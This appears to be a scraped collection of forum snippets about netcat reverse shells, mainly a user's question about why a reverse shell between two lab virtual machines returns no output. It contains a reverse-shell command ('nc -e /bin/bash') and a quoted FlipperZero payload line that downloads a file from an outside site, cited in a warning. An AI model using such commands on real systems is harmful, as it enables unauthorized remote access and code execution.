Netcat reverse shell, can't execute commands.
DVWA Code Execution: Reverse shell with netcat issue
Can we connect to a netcat reverse shell listener and excecute our commands?
FlipperZero Reverse Shell
To anyone blindly running random code from GitHub, be mindful of the line
STRING Invoke-WebRequest -Uri http://pwnpalace.com/download/others/fce642c6-1963-4a0d-bffe-173f43f02329.zip -Outfile <PL_PATH>\unzip.exe
That .zip can be turned onto anything, anytime by the site owner (like a backdoor)
More on reddit.comVideos
I'm trying to create a reverse shell between two virtual machines (one kali one ubuntu). On ubuntu I run:
nc -lnvp 9999
Then on kali i run this:
nc 192.168.0.9 9999
On ubuntu it say there is a connection. But when I type a command on kali, when I press 'enter' the cursor goes to a new line and the command appears on the ubuntu vm and the kali vm, but there is no output on either machine. I thought maybe it was because the shell didn't understand what i was typing so I tried this:
nc -e /bin/bash 192.168.0.9 9999
Again it connected, but oddly enough, now when I type a command on the kali vm, the command does not appear on the ubuntu vm. My commands still have no output.
Does anyone know what I'm doing wrong?